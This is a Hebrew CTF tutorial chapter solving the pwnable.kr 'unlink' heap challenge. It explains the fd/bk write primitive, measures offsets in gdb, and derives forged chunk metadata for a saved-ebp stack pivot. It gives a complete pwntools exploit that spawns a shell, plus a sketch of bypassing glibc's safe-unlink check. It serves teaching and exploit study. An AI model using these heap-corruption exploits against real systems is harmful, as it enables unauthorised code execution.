לדלג לתוכן

7.4 תקיפת unlink פתרון

נעבור צעד-צעד: קריאת המקור, מדידת ההיסטים ב-gdb, האלגברה של זיוף המטא-דאטה, וה-exploit המלא. הכתובות בפלט הן דוגמה מהרצה מסוימת; שתי הleaks משתנות בכל הרצה, ולכן ה-exploit קורא אותן דינמית ולא מקבע אותן.

פתרון תרגיל 1 - קריאת המקור וזיהוי הפרימיטיב

מבנה ה-OBJ:

typedef struct tagOBJ {
    struct tagOBJ* fd;   // offset 0
    struct tagOBJ* bk;   // offset 4
    char buf[8];         // offset 8
} OBJ;                   // sizeof(OBJ) == 16

הפונקציה unlink(B) מבצעת, במונחי כתובות:

FD = B->fd
BK = B->bk
*(FD + 4) = BK      // FD->bk = BK      (bk at offset 4)
*(BK + 0) = FD      // BK->fd = FD      (fd at offset 0)

שתי הleaks:

  • ההדפסה here is stack address leak: %p על &A נותנת כתובת של משתנה מקומי על המחסנית - כלומר מקבעת לנו את מיקום הפריים של main.
  • ההדפסה here is heap address leak: %p על A נותנת את הכתובת של ה-chunk הראשון ב-heap.

הoverflow: gets(A->buf) כותבת החל מ-A + 8 (כי buf בהיסט 8), בלי הגבלת אורך. השדות A->fd ו-A->bk נמצאים לפני buf, אז לא נוגעים בהם; לעומת זאת קדימה בזיכרון יושב ה-chunk של B, ואת ה-fd וה-bk שלו נוכל לדרוס לגמרי.

הפונקציה shell() קוראת ל-system("/bin/sh"). זה היעד. הכתובת שלה קבועה כי אין PIE:

$ objdump -d ./unlink | grep -A1 '<shell>:'
080484eb <shell>:
 80484eb: 55                    push ebp

כלומר shell ב-0x080484eb (הכתובת אצלכם עשויה להיות שונה מעט - שלפו אותה בעצמכם).

פתרון תרגיל 2 - הגנות ומרחקים

בדיקת ההגנות:

$ checksec ./unlink
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

מה זה אומר: אין canary (דריסת מצביעים על המחסנית לא נתפסת), אין PIE (הכתובת של shell() קבועה וידועה), ו-NX דלוק (אבל לא אכפת לנו - אנחנו קופצים לפונקציה קיימת, לא מריצים shellcode).

מדידה 1 - המרחק מ-A->buf ל-B->fd. שולחים דפוס ובודקים מה נחת ב-FD:

$ gdb -q ./unlink
pwndbg> break unlink
pwndbg> run
here is stack address leak: 0xff...
here is heap address leak: 0x...
<<< here gdb is waiting on gets; enter a pattern >>>

נוח יותר למדוד עם pwntools וקובץ קלט:

from pwn import *
context.binary = ELF('./unlink')
p = process('./unlink')
p.recvuntil(b'get shell!\n')
p.sendline(cyclic(64))
# in gdb, break at unlink and see: FD = B->fd contains 4 bytes from the pattern

בבינארי הזה, שלושת ה-chunks בגודל 16 בתים מוקצים רצוף, וה-chunk של B יושב 16 בתים אחרי A->buf. כלומר:

offset 0..7   ->  A->buf   (8 bytes)
offset 8..15  ->  padding until B's chunk (prev_size + size)
offset 16..19 ->  B->fd    <-- this is where the field we control begins
offset 20..23 ->  B->bk

כלומר מ-cyclic_find(FD) נקבל 16. שימו לב: המדידה חשובה, כי ההיסט המדויק תלוי בalignment וב-glibc - אל תניחו אותו, וודאו אותו.

מדידה 2 - איזה saved ebp לדרוס. עוצרים בכניסה ל-unlink ומסתכלים על שרשרת הפריימים. הרעיון (מההרצאה): נדרוס את ה-saved ebp של הפריים של unlink, כי אחריו יש שתי פעולות leave; ret רצופות (של unlink ואז של main), ושתיהן יחד מבצעות את ה-pivot. בבינארי הזה ה-saved ebp שרוצים לדרוס יושב בהיסט קבוע מ-&A. מודדים אותו פעם אחת ב-gdb:

pwndbg> break unlink
pwndbg> run
pwndbg> p $ebp                 # the ebp of unlink = the address of its saved ebp
pwndbg> p &A                   # from the leak: the address the program printed

מהפרש שתי הכתובות מקבלים את ההיסט. בבינארי הזה יוצא שה-saved ebp הרלוונטי נמצא בהיסט קבוע מהleak; בדוגמה שלנו נשתמש בכתובת שהתוכנית עצמה כבר נתנה - הleak &A היא בדיוק מיקום נוח על המחסנית שאליו נכתוב.

פתרון תרגיל 3 - האלגברה של זיוף המטא-דאטה

זו הליבה. אנחנו רוצים שה-unlink יכתוב מצביע ל-heap אל תוך saved ebp על המחסנית. נסמן:

T = address of the saved ebp we will overwrite (on the stack)
V = address of the fake frame on the heap (writable)

מהפרימיטיב, כתיבה 1 היא *(FD + 4) = BK. כדי לקבל *(T) = V נבחר:

B->fd = FD = T - 4
B->bk = BK = V

נבדוק את תופעת הלוואי, כתיבה 2: *(BK + 0) = FD, כלומר *(V) = T - 4. כיוון ש-V היא כתובת heap בר-כתיבה, אין קריסה - פשוט נדרס דבר-מה בתוך הפריים המזויף שלנו, ואנחנו נבנה אותו כך שזה לא יפריע.

עכשיו הפריים המזויף. אנחנו שולטים בזיכרון החל מ-A->buf (כלומר heap + 8). את הכתובת של shell() נשים כך שאחרי ה-pivot ה-ret יקרא אותה. בפריים של 32 ביט, leave עושה mov esp, ebp; pop ebp ואז ret קורא את הדword שאחרי ה-ebp החדש. לכן אם ה-ebp יצביע ל-V, ה-ret יקרא מ-V + 4. נבחר:

V = heap + 4          (the fake frame)
V + 4 = heap + 8 = A->buf   -> this is where p32(shell) is planted

כלומר: הכתובת של shell() יושבת בארבעת הבתים הראשונים של הקלט (שנוחתים ב-A->buf), ו-B->bk יצביע ל-heap + 4 כדי שה-ret יקרא בדיוק את אותם ארבעה בתים.

מכאן נגזרת מפת ה-payload (הקלט ל-gets, שמתחיל ב-A->buf):

offset 0..3   ->  p32(shell)      (lands at A->buf = heap+8 = V+4)
offset 4..15  ->  padding (12 bytes)
offset 16..19 ->  p32(B->fd) = p32(T - 4)
offset 20..23 ->  p32(B->bk) = p32(V) = p32(heap + 4)

מה בעצם קורה בזמן ריצה, שלב-שלב:

1. unlink writes:  *(T) = V           (saved ebp <- heap+4)
                 *(V) = T - 4        (side effect in writable memory, no crash)
2. unlink executes leave; ret:
      leave -> ebp <- *(T) = heap+4
      ret   -> returns to main as usual
3. main finishes and executes leave; ret:
      leave -> esp <- ebp = heap+4 ; pop ebp
      ret   -> eip <- *(heap+8) = shell   ->  jump to shell()!

זהו ה-pivot: EBP מבוקר הפך ל-ESP מבוקר, וה-ret האחרון קרא את הכתובת של shell() שהחבאנו ב-heap. שימו לב שאף פעם לא כתבנו את הכתובת של shell דרך unlink - היא הגיעה ל-heap דרך gets, ו-unlink רק כתב מצביעים בין אזורים בני-כתיבה.

פתרון תרגיל 4 - ה-exploit המלא

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./unlink')
context.log_level = 'info'

def conn():
    if args.REMOTE:
        # per the challenge page: run on the server via SSH, or a network service if available
        return remote('pwnable.kr', 9019)
    return process('./unlink')

p = conn()

# --- reading the two leaks ---
p.recvuntil(b'stack address leak: ')
stack = int(p.recvline().strip(), 16)     # &A
p.recvuntil(b'heap address leak: ')
heap  = int(p.recvline().strip(), 16)     # A
log.info('stack (&A) = %#x', stack)
log.info('heap  (A)  = %#x', heap)

shell = elf.symbols['shell']              # fixed address since there's no PIE
log.info('shell = %#x', shell)

# --- the calculation from exercise 3 ---
T = stack                                 # the saved ebp we will overwrite (measured in gdb; here it's the leak itself)
V = heap + 4                              # the fake frame on the heap; ret will read from V+4 = A->buf

BUF_TO_FD = 16                            # measured with cyclic in exercise 2

payload  = p32(shell)                     # lands at A->buf = heap+8 = V+4
payload += b'A' * (BUF_TO_FD - 4)         # padding until B->fd
payload += p32(T - 4)                     # B->fd = FD  -> write 1: *(T) = V
payload += p32(V)                         # B->bk = BK = V

p.sendline(payload)
p.interactive()

הרצה מקומית:

[*] stack (&A) = 0xffffd5a8
[*] heap  (A)  = 0x0804b410
[*] shell = 0x080484eb
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ cat flag
<the flag here>

הערה מעשית חשובה על stdin: כשמריצים ידנית בלי pwntools, ה-shell שנפתח קורא מ-stdin, אז אם סוגרים את הקלט הוא נסגר מיד. משאירים אותו פתוח כך:

(python3 -c "import sys; sys.stdout.buffer.write(open('payload.bin','rb').read())"; cat) | ./unlink

עם p.interactive() של pwntools זה מטופל אוטומטית.

למה זה עבד: unlink נתן לנו כתיבה *(T) = V, ובחרנו T = saved ebp ו-V = פריים מזויף ב-heap. שתי פעולות ה-leave; ret הרצופות המירו את ה-EBP המבוקר ל-ESP מבוקר, וה-ret האחרון קרא את הכתובת של shell() שהחבאנו ב-heap. הימנענו מהקריסה של .text כי אף כתיבה של unlink לא נגעה בכתובת קוד - שתיהן כתבו מצביעים בין המחסנית ל-heap.

איך להכליל: זו התבנית של כל exploit unlink. מזהים מצביעי fd/bk שנשלטים (overflow או UAF), הופכים אותם לכתיבה *(T) = V, ומכיוון שאסור לכתוב כתובת קוד ישירות - כותבים מצביע לזיכרון שאנחנו שולטים בו, ומנתבים משם עם leave; ret או עם דריסת מצביע פונקציה שנקרא בהמשך.

תוכנית קטנה שמפעילה את ההתקפה הקלאסית מול glibc אמיתי:

#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main() {
    // large chunks to bypass tcache and land in the unsorted bin
    uint8_t *a = malloc(0x420);
    uint8_t *b = malloc(0x420);
    malloc(0x420);                 // prevents merging with the top chunk

    // overwrite b's metadata with fake fd/bk (classic attack)
    uint64_t *meta = (uint64_t*)(b - 0x10 + 0x10); // b->fd
    meta[0] = 0x41414141;          // fake fd
    meta[1] = 0x42424242;          // fake bk

    free(b);                       // triggers a real unlink -> the checks run
    return 0;
}

הדרה והרצה:

$ gcc -o safe_unlink safe_unlink.c
$ ./safe_unlink
malloc(): corrupted top size          # or:
free(): corrupted unsorted chunks
malloc(): unsorted double linked list corrupted
# and in relevant versions:
corrupted double-linked list

מה נכשל: ברגע ש-free(b) מכניס את b ל-unsorted bin ואז מקצה אותו מחדש (או ממזג), הבדיקה FD->bk == P && BK->fd == P רצה. עם fd = 0x41414141 ו-bk = 0x42424242 שרירותיים, FD->bk לא שווה ל-P, glibc זועקת ומפילה. זה בדיוק מה שהאתגר ב-pwnable.kr חוסך לנו - שם ה-unlink כתוב ביד בלי בדיקות.

איך היינו עוקפים אילו היה מצביע גלובלי g אל ה-chunk: מזייפים fd = &g - 0x18 ו-bk = &g - 0x10 (היסטים של 64 ביט). אז FD->bk = *(&g - 0x18 + 0x18) = g = P וגם BK->fd = *(&g - 0x10 + 0x10) = g = P, שתי הבדיקות עוברות, ואחרי unlink מקבלים g = &g - 0x18 - מצביע שאנחנו שולטים בו, ומשם כתיבה שרירותית. את הרעיון הזה נרחיב בפרק 7.5 יחד עם טכניקות ה-House of.